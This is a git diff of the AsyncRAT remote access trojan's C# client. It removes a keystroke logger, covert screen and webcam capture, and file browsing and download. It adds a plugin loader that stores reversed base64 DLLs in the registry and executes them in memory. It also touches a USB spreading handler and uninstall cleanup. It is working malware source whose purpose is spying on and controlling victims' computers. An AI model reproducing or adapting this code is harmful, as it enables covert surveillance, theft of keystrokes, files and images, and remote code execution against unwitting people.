- }
- }
-
- public void GetDrivers()
- {
- try
- {
- DriveInfo[] allDrives = DriveInfo.GetDrives();
- MsgPack msgpack = new MsgPack();
- msgpack.ForcePathObject("Packet").AsString = "fileManager";
- msgpack.ForcePathObject("Command").AsString = "getDrivers";
- StringBuilder sbDriver = new StringBuilder();
- foreach (DriveInfo d in allDrives)
- {
- if (d.IsReady)
- {
- sbDriver.Append(d.Name + "-=>" + d.DriveType + "-=>");
- }
- msgpack.ForcePathObject("Driver").AsString = sbDriver.ToString();
- ClientSocket.Send(msgpack.Encode2Bytes());
- }
- }
- catch { }
- }
-
- public void GetPath(string path)
- {
- try
- {
- Debug.WriteLine($"Getting [{path}]");
- MsgPack msgpack = new MsgPack();
- msgpack.ForcePathObject("Packet").AsString = "fileManager";
- msgpack.ForcePathObject("Command").AsString = "getPath";
- StringBuilder sbFolder = new StringBuilder();
- StringBuilder sbFile = new StringBuilder();
-
- if (path == "DESKTOP") path = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);
- if (path == "APPDATA") path = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.UserProfile), "AppData");
- if (path == "USER") path = Environment.GetFolderPath(Environment.SpecialFolder.UserProfile);
-
- foreach (string folder in Directory.GetDirectories(path))
- {
- sbFolder.Append(Path.GetFileName(folder) + "-=>" + Path.GetFullPath(folder) + "-=>");
- }
- foreach (string file in Directory.GetFiles(path))
- {
- using (MemoryStream ms = new MemoryStream())
- {
- GetIcon(file.ToLower()).Save(ms, ImageFormat.Png);
- sbFile.Append(Path.GetFileName(file) + "-=>" + Path.GetFullPath(file) + "-=>" + Convert.ToBase64String(ms.ToArray()) + "-=>" + new FileInfo(file).Length.ToString() + "-=>");
- }
- }
- msgpack.ForcePathObject("Folder").AsString = sbFolder.ToString();
- msgpack.ForcePathObject("File").AsString = sbFile.ToString();
- msgpack.ForcePathObject("CurrentPath").AsString = path.ToString();
- ClientSocket.Send(msgpack.Encode2Bytes());
- }
- catch (Exception ex)
- {
- Debug.WriteLine(ex.Message);
- Error(ex.Message);
- }
- }
-
- private Bitmap GetIcon(string file)
- {
- try
- {
- if (file.EndsWith("jpg") || file.EndsWith("jpeg") || file.EndsWith("gif") || file.EndsWith("png") || file.EndsWith("bmp"))
- {
- using (Bitmap myBitmap = new Bitmap(file))
- {
- return new Bitmap(myBitmap.GetThumbnailImage(48, 48, new Image.GetThumbnailImageAbort(() => false), IntPtr.Zero));
- }
- }
- else
- using (Icon icon = Icon.ExtractAssociatedIcon(file))
- {
- return icon.ToBitmap();
- }
- }
- catch
- {
- return new Bitmap(48, 48);
- }
- }
-
- public void DownnloadFile(string file, string dwid)
- {
- TempSocket tempSocket = new TempSocket();
-
- try
- {
- MsgPack msgpack = new MsgPack();
- msgpack.ForcePathObject("Packet").AsString = "socketDownload";
- msgpack.ForcePathObject("Command").AsString = "pre";
- msgpack.ForcePathObject("DWID").AsString = dwid;
- msgpack.ForcePathObject("File").AsString = file;
- msgpack.ForcePathObject("Size").AsString = new FileInfo(file).Length.ToString();
- tempSocket.Send(msgpack.Encode2Bytes());
-
-
- MsgPack msgpack2 = new MsgPack();
- msgpack2.ForcePathObject("Packet").AsString = "socketDownload";
- msgpack2.ForcePathObject("Command").AsString = "save";
- msgpack2.ForcePathObject("DWID").AsString = dwid;
- msgpack2.ForcePathObject("Name").AsString = Path.GetFileName(file);
- msgpack2.ForcePathObject("File").LoadFileAsBytes(file);
- tempSocket.Send(msgpack2.Encode2Bytes());
- tempSocket.Dispose();
- }
- catch
- {
- tempSocket?.Dispose();
- return;
- }
- }
-
- //private void ChunkSend(byte[] msg, Socket client, SslStream ssl)
- //{
- // try
- // {
- // byte[] buffersize = BitConverter.GetBytes(msg.Length);
- // client.Poll(-1, SelectMode.SelectWrite);
- // ssl.Write(buffersize);
- // ssl.Flush();
-
- // int chunkSize = 50 * 1024;
- // byte[] chunk = new byte[chunkSize];
- // using (MemoryStream buffereReader = new MemoryStream(msg))
- // {
- // BinaryReader binaryReader = new BinaryReader(buffereReader);
- // int bytesToRead = (int)buffereReader.Length;
- // do
- // {
- // chunk = binaryReader.ReadBytes(chunkSize);
- // bytesToRead -= chunkSize;
- // ssl.Write(chunk);
- // ssl.Flush();
- // } while (bytesToRead > 0);
-
- // binaryReader.Dispose();
- // }
- // }
- // catch { return; }
- //}
-
- public void ReqUpload(string id)
- {
- try
- {
- TempSocket tempSocket = new TempSocket();
- MsgPack msgpack = new MsgPack();
- msgpack.ForcePathObject("Packet").AsString = "fileManager";
- msgpack.ForcePathObject("Command").AsString = "reqUploadFile";
- msgpack.ForcePathObject("ID").AsString = id;
- tempSocket.Send(msgpack.Encode2Bytes());
- }
- catch { return; }
- }
-
- public void Error(string ex)
- {
- MsgPack msgpack = new MsgPack();
- msgpack.ForcePathObject("Packet").AsString = "fileManager";
- msgpack.ForcePathObject("Command").AsString = "error";
- msgpack.ForcePathObject("Message").AsString = ex;
- ClientSocket.Send(msgpack.Encode2Bytes());
- }
- }
-}
diff --git a/AsyncRAT-C#/Client/Handle Packet/HandleLimeLogger.cs b/AsyncRAT-C#/Client/Handle Packet/HandleLimeLogger.cs
deleted file mode 100644
index 361502e..0000000
--- a/AsyncRAT-C#/Client/Handle Packet/HandleLimeLogger.cs
+++ /dev/null
@@ -1,200 +0,0 @@
-using System;
-using System.Diagnostics;
-using System.IO;
-using System.Runtime.InteropServices;
-using System.Text;
-using System.Windows.Forms;
-using Client.MessagePack;
-using System.Threading;
-using Client.Connection;
-
-namespace Client.Handle_Packet
-{
- // │ Author : NYAN CAT
- // │ Name : LimeLogger v0.1
- // │ Contact : https://github.com/NYAN-x-CAT
-
- // This program is distributed for educational purposes only.
-
- public static class HandleLimeLogger
- {
- public static bool isON = false;
- public static void Run()
- {
- _hookID = SetHook(_proc);
- new Thread(() =>
- {
- while (ClientSocket.IsConnected)
- {
- Thread.Sleep(10);
- if (isON == false)
- {
- break;
- }
- }
- UnhookWindowsHookEx(_hookID);
- CurrentActiveWindowTitle = "";
- Application.Exit();
- }).Start();
- Application.Run();
- }
-
- private static IntPtr SetHook(LowLevelKeyboardProc proc)
- {
- using (Process curProcess = Process.GetCurrentProcess())
- using (ProcessModule curModule = curProcess.MainModule)
- {
- return SetWindowsHookEx(WHKEYBOARDLL, proc,
- GetModuleHandle(curModule.ModuleName), 0);
- }
- }
-
- private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
- {
- try
- {
- if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
- {
- int vkCode = Marshal.ReadInt32(lParam);
- bool capsLock = (GetKeyState(0x14) & 0xffff) != 0;
- bool shiftPress = (GetKeyState(0xA0) & 0x8000) != 0 || (GetKeyState(0xA1) & 0x8000) != 0;
- string currentKey = KeyboardLayout((uint)vkCode);
-
- if (capsLock || shiftPress)
- {
- currentKey = currentKey.ToUpper();
- }
- else
- {
- currentKey = currentKey.ToLower();
- }
-
- if ((Keys)vkCode >= Keys.F1 && (Keys)vkCode <= Keys.F24)
- currentKey = "[" + (Keys)vkCode + "]";
-
- else
- {
- switch (((Keys)vkCode).ToString())
- {
- case "Space":
- currentKey = " ";
- break;
- case "Return":
- currentKey = "[ENTER]\n";
- break;
- case "Escape":
- currentKey = "";
- break;
- case "Back":
- currentKey = "[Back]";
- break;
- case "Tab":
- currentKey = "[Tab]\n";
- break;
- }
- }
-
- StringBuilder sb = new StringBuilder();
- if (CurrentActiveWindowTitle == GetActiveWindowTitle())
- {
- sb.Append(currentKey);
- }
- else
- {
- sb.Append(Environment.NewLine);
- sb.Append(Environment.NewLine);
- sb.Append($"### {GetActiveWindowTitle()} ###");
- sb.Append(Environment.NewLine);
- sb.Append(currentKey);
- }
- MsgPack msgpack = new MsgPack();
- msgpack.ForcePathObject("Packet").AsString = "keyLogger";
- msgpack.ForcePathObject("log").AsString = sb.ToString();
- ClientSocket.Send(msgpack.Encode2Bytes());
- }
- return CallNextHookEx(_hookID, nCode, wParam, lParam);
- }
- catch
- {
- return IntPtr.Zero;
- }
- }
-
- private static string KeyboardLayout(uint vkCode)
- {
- try
- {
- StringBuilder sb = new StringBuilder();
- byte[] vkBuffer = new byte[256];
- if (!GetKeyboardState(vkBuffer)) return "";
- uint scanCode = MapVirtualKey(vkCode, 0);
- IntPtr keyboardLayout = GetKeyboardLayout(GetWindowThreadProcessId(GetForegroundWindow(), out uint processId));
- ToUnicodeEx(vkCode, scanCode, vkBuffer, sb, 5, 0, keyboardLayout);
- return sb.ToString();
- }
- catch { }
- return ((Keys)vkCode).ToString();
- }
-
- private static string GetActiveWindowTitle()
- {
- try
- {
- IntPtr hwnd = GetForegroundWindow();
- GetWindowThreadProcessId(hwnd, out uint pid);
- Process p = Process.GetProcessById((int)pid);
- string title = p.MainWindowTitle;
- if (string.IsNullOrWhiteSpace(title))
- title = p.ProcessName;
- CurrentActiveWindowTitle = title;
- return title;
- }
- catch (Exception)
- {
- return "???";
- }
- }
-
- #region "Hooks & Native Methods"
-
- private const int WM_KEYDOWN = 0x0100;
- private static readonly LowLevelKeyboardProc _proc = HookCallback;
- private static IntPtr _hookID = IntPtr.Zero;
- private static readonly int WHKEYBOARDLL = 13;
- private static string CurrentActiveWindowTitle;
-
-
- private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);
- [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
- private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
- [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
- [return: MarshalAs(UnmanagedType.Bool)]
- private static extern bool UnhookWindowsHookEx(IntPtr hhk);
- [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
- private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);
- [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
- private static extern IntPtr GetModuleHandle(string lpModuleName);
-
- [DllImport("user32.dll")]
- static extern IntPtr GetForegroundWindow();
-
- [DllImport("user32.dll", SetLastError = true)]
- static extern uint GetWindowThreadProcessId(IntPtr hWnd, out uint lpdwProcessId);
-
- [DllImport("user32.dll", CharSet = CharSet.Auto, ExactSpelling = true, CallingConvention = CallingConvention.Winapi)]
- public static extern short GetKeyState(int keyCode);
-
- [DllImport("user32.dll", SetLastError = true)]
- [return: MarshalAs(UnmanagedType.Bool)]
- static extern bool GetKeyboardState(byte[] lpKeyState);
- [DllImport("user32.dll")]
- static extern IntPtr GetKeyboardLayout(uint idThread);
- [DllImport("user32.dll")]
- static extern int ToUnicodeEx(uint wVirtKey, uint wScanCode, byte[] lpKeyState, [Out, MarshalAs(UnmanagedType.LPWStr)] StringBuilder pwszBuff, int cchBuff, uint wFlags, IntPtr dwhkl);
- [DllImport("user32.dll")]
- static extern uint MapVirtualKey(uint uCode, uint uMapType);
-
- #endregion
-
- }
-}
diff --git a/AsyncRAT-C#/Client/Handle Packet/HandlePlugin.cs b/AsyncRAT-C#/Client/Handle Packet/HandlePlugin.cs
new file mode 100644
index 0000000..76ed17e
--- /dev/null
+++ b/AsyncRAT-C#/Client/Handle Packet/HandlePlugin.cs
@@ -0,0 +1,85 @@
+using Client.Connection;
+using Client.Helper;
+using Client.MessagePack;
+using Microsoft.VisualBasic;
+using System;
+using System.Collections.Generic;
+using System.Diagnostics;
+using System.Linq;
+using System.Reflection;
+using System.Text;
+using System.Threading;
+
+namespace Client.Handle_Packet
+{
+ public class HandlePlugin
+ {
+ public HandlePlugin(MsgPack unpack_msgpack)
+ {
+ switch (unpack_msgpack.ForcePathObject("Command").AsString)
+ {
+ case "invoke":
+ {
+ string hash = unpack_msgpack.ForcePathObject("Hash").AsString;
+ if (RegistryDB.GetValue(hash) != null)
+ {
+ Debug.WriteLine("Found: " + hash);
+ Invoke(hash);
+ }
+ else
+ {
+ Debug.WriteLine("Not Found: " + hash);
+ Request(unpack_msgpack.ForcePathObject("Hash").AsString); ;
+ }
+ break;
+ }
+
+ case "install":
+ {
+ string hash = unpack_msgpack.ForcePathObject("Hash").AsString;
+ RegistryDB.SetValue(hash, unpack_msgpack.ForcePathObject("Dll").AsString);
+ Invoke(hash);
+ Debug.WriteLine("Installed: " + hash);
+ break;
+ }
+ }
+
+ }
+
+ public void Request(string hash)
+ {
+ MsgPack msgPack = new MsgPack();
+ msgPack.ForcePathObject("Packet").AsString = "plugin";
+ msgPack.ForcePathObject("Hash").AsString = hash;
+ ClientSocket.Send(msgPack.Encode2Bytes());
+ }
+
+ public void Invoke(string hash)
+ {
+ new Thread(delegate ()
+ {
+ try
+ {
+ MsgPack msgPack = new MsgPack();
+#if DEBUG
+ msgPack.ForcePathObject("Certificate").AsString = Settings.Certificate;
+#else
+ msgPack.ForcePathObject("Certificate").AsString = Settings.aes256.Decrypt(Settings.Certificate);
+#endif
+ msgPack.ForcePathObject("Host").AsString = ClientSocket.TcpClient.RemoteEndPoint.ToString().Split(':')[0];
+ msgPack.ForcePathObject("Port").AsString = ClientSocket.TcpClient.RemoteEndPoint.ToString().Split(':')[1];
+
+ Assembly loader = Assembly.Load(Convert.FromBase64String(Strings.StrReverse(RegistryDB.GetValue(hash))));
+ MethodInfo meth = loader.GetType("Plugin.Plugin").GetMethod("Initialize");
+ Debug.WriteLine("Invoked");
+ meth.Invoke(null, new object[] { msgPack.Encode2Bytes() });
+ }
+ catch (Exception ex)
+ {
+ Packet.Error(ex.Message);
+ }
+ })
+ { IsBackground = true }.Start();
+ }
+ }
+}
diff --git a/AsyncRAT-C#/Client/Handle Packet/HandleRemoteDesktop.cs b/AsyncRAT-C#/Client/Handle Packet/HandleRemoteDesktop.cs
deleted file mode 100644
index 42f8415..0000000
--- a/AsyncRAT-C#/Client/Handle Packet/HandleRemoteDesktop.cs
+++ /dev/null
@@ -1,116 +0,0 @@
-using System;
-using System.IO;
-using System.Threading;
-using System.Drawing.Imaging;
-using System.Drawing;
-using System.Windows.Forms;
-using System.Runtime.InteropServices;
-using Client.MessagePack;
-using Client.Connection;
-using Client.StreamLibrary.UnsafeCodecs;
-using Client.Helper;
-using Client.StreamLibrary;
-
-namespace Client.Handle_Packet
-{
- public class HandleRemoteDesktop
- {
- public HandleRemoteDesktop(MsgPack unpack_msgpack)
- {
- try
- {
- switch (unpack_msgpack.ForcePathObject("Option").AsString)
- {
- case "capture":
- {
- CaptureAndSend(Convert.ToInt32(unpack_msgpack.ForcePathObject("Quality").AsInteger), Convert.ToInt32(unpack_msgpack.ForcePathObject("Screen").AsInteger));
- break;
- }
-
- case "mouseClick":
- {
- Point position = new Point((Int32)unpack_msgpack.ForcePathObject("X").AsInteger, (Int32)unpack_msgpack.ForcePathObject("Y").AsInteger);
- Cursor.Position = position;
- mouse_event((Int32)unpack_msgpack.ForcePathObject("Button").AsInteger, 0, 0, 0, 1);
- break;
- }
-
- case "mouseMove":
- {
- Point position = new Point((Int32)unpack_msgpack.ForcePathObject("X").AsInteger, (Int32)unpack_msgpack.ForcePathObject("Y").AsInteger);
- Cursor.Position = position;
- break;
- }
- }
- }
- catch { }
- }
- public void CaptureAndSend(int quality, int Scrn)
- {
- TempSocket tempSocket = new TempSocket();
- string hwid = Methods.HWID();
- Bitmap bmp = null;
- BitmapData bmpData = null;
- Rectangle rect;
- Size size;
- MsgPack msgpack;
- IUnsafeCodec unsafeCodec = new UnsafeStreamCodec(quality);
- MemoryStream stream;
- while (tempSocket.IsConnected && ClientSocket.IsConnected)
- {
- try
- {
- bmp = GetScreen(Scrn);
- rect = new Rectangle(0, 0, bmp.Width, bmp.Height);
- size = new Size(bmp.Width, bmp.Height);
- bmpData = bmp.LockBits(new Rectangle(0, 0, bmp.Width, bmp.Height), ImageLockMode.ReadWrite, bmp.PixelFormat);
-
- using (stream = new MemoryStream())
- {
- unsafeCodec.CodeImage(bmpData.Scan0, new Rectangle(0, 0, bmpData.Width, bmpData.Height), new Size(bmpData.Width, bmpData.Height), bmpData.PixelFormat, stream);
-
- if (stream.Length > 0)
- {
- msgpack = new MsgPack();
- msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
- msgpack.ForcePathObject("ID").AsString = hwid;
- msgpack.ForcePathObject("Stream").SetAsBytes(stream.ToArray());
- msgpack.ForcePathObject("Screens").AsInteger = Convert.ToInt32(System.Windows.Forms.Screen.AllScreens.Length);
- tempSocket.SslClient.Write(BitConverter.GetBytes(msgpack.Encode2Bytes().Length));
- tempSocket.SslClient.Write(msgpack.Encode2Bytes());
- tempSocket.SslClient.Flush();
- }
- }
- bmp.UnlockBits(bmpData);
- bmp.Dispose();
- }
- catch { break; }
- }
- try
- {
- bmp?.UnlockBits(bmpData);
- bmp?.Dispose();
- tempSocket?.Dispose();
- }
- catch { }
- }
-
- private Bitmap GetScreen(int Scrn)
- {
- Rectangle rect = Screen.AllScreens[Scrn].Bounds;
- try
- {
- Bitmap bmpScreenshot = new Bitmap(rect.Width, rect.Height, PixelFormat.Format32bppArgb);
- using (Graphics gfxScreenshot = Graphics.FromImage(bmpScreenshot))
- {
- gfxScreenshot.CopyFromScreen(rect.Left, rect.Top, 0, 0, new Size(bmpScreenshot.Width, bmpScreenshot.Height), CopyPixelOperation.SourceCopy);
- return bmpScreenshot;
- }
- }
- catch { return new Bitmap(rect.Width, rect.Height); }
- }
-
- [DllImport("user32.dll")]
- static extern void mouse_event(int dwFlags, int dx, int dy, uint dwData, int dwExtraInfo);
- }
-}
diff --git a/AsyncRAT-C#/Client/Handle Packet/HandleUninstall.cs b/AsyncRAT-C#/Client/Handle Packet/HandleUninstall.cs
index eaaf25d..242eb0f 100644
--- a/AsyncRAT-C#/Client/Handle Packet/HandleUninstall.cs
+++ b/AsyncRAT-C#/Client/Handle Packet/HandleUninstall.cs
@@ -35,6 +35,13 @@ namespace Client.Handle_Packet
}
catch { }
}
+
+ try
+ {
+ RegistryDB.DeleteSubKey();
+ }
+ catch { }
+
ProcessStartInfo Del = null;
try
{
diff --git a/AsyncRAT-C#/Client/Handle Packet/HandleWebcam.cs b/AsyncRAT-C#/Client/Handle Packet/HandleWebcam.cs
deleted file mode 100644
index 04c6903..0000000
--- a/AsyncRAT-C#/Client/Handle Packet/HandleWebcam.cs
+++ /dev/null
@@ -1,213 +0,0 @@
-using AForge.Video;
-using AForge.Video.DirectShow;
-using Client.Connection;
-using Client.Helper;
-using Client.MessagePack;
-using System;
-using System.Collections.Generic;
-using System.Diagnostics;
-using System.Drawing;
-using System.Drawing.Imaging;
-using System.IO;
-using System.Linq;
-using System.Text;
-using System.Threading;
-
-namespace Client.Handle_Packet
-{
- public static class HandleWebcam
- {
- public static bool IsOn = false;
- public static VideoCaptureDevice FinalVideo;
- public static string HWID = Methods.HWID();
- private static MemoryStream Camstream = new MemoryStream();
- private static TempSocket TempSocket = null;
- private static int Quality = 50;
-
- public static void Run(MsgPack unpack_msgpack)
- {
- try
- {
- switch (unpack_msgpack.ForcePathObject("Packet").AsString)
- {
- case "webcam":
- {
- switch (unpack_msgpack.ForcePathObject("Command").AsString)
- {
- case "getWebcams":
- {
- TempSocket?.Dispose();
- TempSocket = new TempSocket();
- if (TempSocket.IsConnected)
- {
- GetWebcams();
- }
- else
- {
- new Thread(() =>
- {
- try
- {
- TempSocket.Dispose();
- CaptureDispose();
- }
- catch { }
- }).Start();
- }
- break;
- }
-
- case "capture":
- {
- if (IsOn == true) return;
- if (TempSocket.IsConnected)
- {
- IsOn = true;
- FilterInfoCollection videoCaptureDevices = new FilterInfoCollection(FilterCategory.VideoInputDevice);
- FinalVideo = new VideoCaptureDevice(videoCaptureDevices[0].MonikerString);
- Quality = (int)unpack_msgpack.ForcePathObject("Quality").AsInteger;
- FinalVideo.NewFrame += CaptureRun;
- FinalVideo.VideoResolution = FinalVideo.VideoCapabilities[unpack_msgpack.ForcePathObject("List").AsInteger];
- FinalVideo.Start();
- }
- else
- {
- new Thread(() =>
- {
- try
- {
- CaptureDispose();
- TempSocket.Dispose();
- }
- catch { }
- }).Start();
- }
- break;
- }
-
- case "stop":
- {
- new Thread(() =>
- {
- try
- {
- CaptureDispose();
- }
- catch { }
- }).Start();
- break;
- }
- }
- break;
- }
- }
- }
- catch (Exception ex)
- {
- Debug.WriteLine("Webcam switch" + ex.Message);
- }
- }
-
- private static void CaptureRun(object sender, NewFrameEventArgs e)
- {
- try
- {
- if (TempSocket.IsConnected)
- {
- if (IsOn == true)
- {
- Bitmap image = (Bitmap)e.Frame.Clone();
- using (Camstream = new MemoryStream())
- {
- System.Drawing.Imaging.Encoder myEncoder = System.Drawing.Imaging.Encoder.Quality;
- EncoderParameters myEncoderParameters = new EncoderParameters(1);
- EncoderParameter myEncoderParameter = new EncoderParameter(myEncoder, Quality);
- myEncoderParameters.Param[0] = myEncoderParameter;
- ImageCodecInfo jpgEncoder = Methods.GetEncoder(ImageFormat.Jpeg);
- image.Save(Camstream, jpgEncoder, myEncoderParameters);
- myEncoderParameters?.Dispose();
- myEncoderParameter?.Dispose();
- image?.Dispose();
-
- MsgPack msgpack = new MsgPack();
- msgpack.ForcePathObject("Packet").AsString = "webcam";
- msgpack.ForcePathObject("ID").AsString = HWID;
- msgpack.ForcePathObject("Command").AsString = "capture";
- msgpack.ForcePathObject("Image").SetAsBytes(Camstream.ToArray());
- TempSocket.Send(msgpack.Encode2Bytes());
- }
- }
- }
- else
- {
- new Thread(() =>
- {
- try
- {
- CaptureDispose();
- TempSocket.Dispose();
- }
- catch { }
- }).Start();
- }
- }
- catch (Exception ex)
- {
- new Thread(() =>
- {
- try
- {
- CaptureDispose();
- TempSocket.Dispose();
- }
- catch { }
- }).Start();
- Debug.WriteLine("CaptureRun: " + ex.Message);
- }
- }
-
- private static void GetWebcams()
- {
- try
- {
- StringBuilder deviceInfo = new StringBuilder();
- FilterInfoCollection videoCaptureDevices = new FilterInfoCollection(FilterCategory.VideoInputDevice);
- foreach (FilterInfo videoCaptureDevice in videoCaptureDevices)
- {
- deviceInfo.Append(videoCaptureDevice.Name + "-=>");
- VideoCaptureDevice device = new VideoCaptureDevice(videoCaptureDevice.MonikerString);
- Debug.WriteLine(videoCaptureDevice.Name);
- }
- MsgPack msgpack = new MsgPack();
- if (deviceInfo.Length > 0)
- {
- msgpack.ForcePathObject("Packet").AsString = "webcam";
- msgpack.ForcePathObject("Command").AsString = "getWebcams";
- msgpack.ForcePathObject("ID").AsString = HWID;
- msgpack.ForcePathObject("List").AsString = deviceInfo.ToString();
- }
- else
- {
- msgpack.ForcePathObject("Packet").AsString = "webcam";
- msgpack.ForcePathObject("Command").AsString = "getWebcams";
- msgpack.ForcePathObject("ID").AsString = HWID;
- msgpack.ForcePathObject("List").AsString = "None";
- }
- TempSocket.Send(msgpack.Encode2Bytes());
- }
- catch { }
- }
-
- private static void CaptureDispose()
- {
- try
- {
- IsOn = false;
- FinalVideo.Stop();
- FinalVideo.NewFrame -= CaptureRun;
- Camstream?.Dispose();
- }
- catch { }
- }
- }
-}
diff --git a/AsyncRAT-C#/Client/Handle Packet/HandlerChat.cs b/AsyncRAT-C#/Client/Handle Packet/HandlerChat.cs
deleted file mode 100644
index 1220a37..0000000
--- a/AsyncRAT-C#/Client/Handle Packet/HandlerChat.cs
+++ /dev/null
@@ -1,47 +0,0 @@
-using Client.Helper;
-using Client.MessagePack;
-using System;
-using System.Collections.Generic;
-using System.Linq;
-using System.Text;
-using System.Threading;
-using System.Windows.Forms;
-
-namespace Client.Handle_Packet
-{
- public class HandlerChat
- {
-
- public void CreateChat()
- {
- new Thread(() =>
- {
- Packet.GetFormChat = new FormChat();
- Packet.GetFormChat.ShowDialog();
- }).Start();
- }
- public void WriteInput(MsgPack unpack_msgpack)
- {
- if (Packet.GetFormChat.InvokeRequired)
- {
- Packet.GetFormChat.Invoke((MethodInvoker)(() =>
- {
- Console.Beep();
- Packet.GetFormChat.richTextBox1.AppendText(unpack_msgpack.ForcePathObject("Input").AsString + Environment.NewLine);
- }));
- }
- }
-
- public void ExitChat()
- {
- if (Packet.GetFormChat.InvokeRequired)
- {
- Packet.GetFormChat.Invoke((MethodInvoker)(() =>
- {
- Packet.GetFormChat.Close();
- Packet.GetFormChat.Dispose();
- }));
- }
- }
- }
-}
diff --git a/AsyncRAT-C#/Client/Handle Packet/Packet.cs b/AsyncRAT-C#/Client/Handle Packet/Packet.cs
index ccc1682..c17a50a 100644
--- a/AsyncRAT-C#/Client/Handle Packet/Packet.cs
+++ b/AsyncRAT-C#/Client/Handle Packet/Packet.cs
@@ -17,7 +17,6 @@ namespace Client.Handle_Packet
{
public static CancellationTokenSource ctsDos;
public static CancellationTokenSource ctsReportWindow;
- public static FormChat GetFormChat;
public static string FileCopy = null;
public static void Read(object data)
@@ -100,54 +99,24 @@ namespace Client.Handle_Packet
break;
}
- case "usbSpread":
+ case "usb":
{
new HandleLimeUSB(unpack_msgpack);
break;
}
- case "remoteDesktop":
- {
- new HandleRemoteDesktop(unpack_msgpack);
- break;
- }
-
case "processManager":
{
new HandleProcessManager(unpack_msgpack);
}
break;
- case "fileManager":
- {
- new FileManager(unpack_msgpack);
- }
- break;
-
case "botKiller":
{
new HandleBotKiller().RunBotKiller();
break;
}
- case "keyLogger":
- {
- string isON = unpack_msgpack.ForcePathObject("isON").AsString;
- if (isON == "true")
- {
- new Thread(() =>
- {
- HandleLimeLogger.isON = true;
- HandleLimeLogger.Run();
- }).Start();
- }
- else
- {
- HandleLimeLogger.isON = false;
- }
- break;
- }
-
case "visitURL":
{
string url = unpack_msgpack.ForcePathObject("URL").AsString;
@@ -191,24 +160,6 @@ namespace Client.Handle_Packet
break;
}
- case "chat":
- {
- new HandlerChat().CreateChat();
- break;
- }
-
- case "chatWriteInput":
- {
- new HandlerChat().WriteInput(unpack_msgpack);
- break;
- }
-
- case "chatExit":
- {
- new HandlerChat().ExitChat();
- break;
- }
-
case "pcOptions":
{
new HandlePcOptions(unpack_msgpack.ForcePathObject("Option").AsString);
@@ -240,13 +191,12 @@ namespace Client.Handle_Packet
break;
}
- case "webcam":
+ case "plugin":
{
- HandleWebcam.Run(unpack_msgpack);
+ new HandlePlugin(unpack_msgpack);
break;
}
-
//case "netStat":
// {
// HandleNetStat.RunNetStat();
diff --git a/AsyncRAT-C#/Client/Helper/FormChat.Designer.cs b/AsyncRAT-C#/Client/Helper/FormChat.Designer.cs
deleted file mode 100644
index 13dddcb..0000000
--- a/AsyncRAT-C#/Client/Helper/FormChat.Designer.cs
+++ /dev/null
@@ -1,93 +0,0 @@
-namespace Client.Helper
-{
- partial class FormChat
- {
- ///
- /// Required designer variable.
- ///
- private System.ComponentModel.IContainer components = null;
-
- ///
- /// Clean up any resources being used.
- ///
- /// true if managed resources should be disposed; otherwise, false.
- protected override void Dispose(bool disposing)
- {
- if (disposing && (components != null))
- {
- components.Dispose();
- }
- base.Dispose(disposing);
- }
-
- #region Windows Form Designer generated code
-
- ///
- /// Required method for Designer support - do not modify
- /// the contents of this method with the code editor.
- ///
- private void InitializeComponent()
- {
- this.components = new System.ComponentModel.Container();
- this.textBox1 = new System.Windows.Forms.TextBox();
- this.richTextBox1 = new System.Windows.Forms.RichTextBox();
- this.timer1 = new System.Windows.Forms.Timer(this.components);
- this.SuspendLayout();
- //
- // textBox1
- //
- this.textBox1.Dock = System.Windows.Forms.DockStyle.Bottom;
- this.textBox1.Location = new System.Drawing.Point(0, 384);
- this.textBox1.Name = "textBox1";
- this.textBox1.Size = new System.Drawing.Size(757, 26);
- this.textBox1.TabIndex = 3;
- this.textBox1.KeyDown += new System.Windows.Forms.KeyEventHandler(this.TextBox1_KeyDown);
- //
- // richTextBox1
- //
- this.richTextBox1.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom)
- | System.Windows.Forms.AnchorStyles.Left)
- | System.Windows.Forms.AnchorStyles.Right)));
- this.richTextBox1.BackColor = System.Drawing.SystemColors.Window;
- this.richTextBox1.BorderStyle = System.Windows.Forms.BorderStyle.None;
- this.richTextBox1.Location = new System.Drawing.Point(12, 12);
- this.richTextBox1.Name = "richTextBox1";
- this.richTextBox1.ReadOnly = true;
- this.richTextBox1.Size = new System.Drawing.Size(733, 351);
- this.richTextBox1.TabIndex = 2;
- this.richTextBox1.Text = "";
- //
- // timer1
- //
- this.timer1.Enabled = true;
- this.timer1.Interval = 1000;
- this.timer1.Tick += new System.EventHandler(this.Timer1_Tick);
- //
- // FormChat
- //
- this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F);
- this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
- this.BackColor = System.Drawing.SystemColors.Window;
- this.ClientSize = new System.Drawing.Size(757, 410);
- this.ControlBox = false;
- this.Controls.Add(this.textBox1);
- this.Controls.Add(this.richTextBox1);
- this.Name = "FormChat";
- this.ShowIcon = false;
- this.ShowInTaskbar = false;
- this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
- this.Text = "AysncRAT | Chat";
- this.TopMost = true;
- this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.FormChat_FormClosing);
- this.ResumeLayout(false);
- this.PerformLayout();
-
- }
-
- #endregion
-
- private System.Windows.Forms.TextBox textBox1;
- public System.Windows.Forms.RichTextBox richTextBox1;
- private System.Windows.Forms.Timer timer1;
- }
-}
\ No newline at end of file
diff --git a/AsyncRAT-C#/Client/Helper/FormChat.cs b/AsyncRAT-C#/Client/Helper/FormChat.cs
deleted file mode 100644
index 9a68e21..0000000
--- a/AsyncRAT-C#/Client/Helper/FormChat.cs
+++ /dev/null
@@ -1,45 +0,0 @@
-using Client.Handle_Packet;
-using Client.MessagePack;
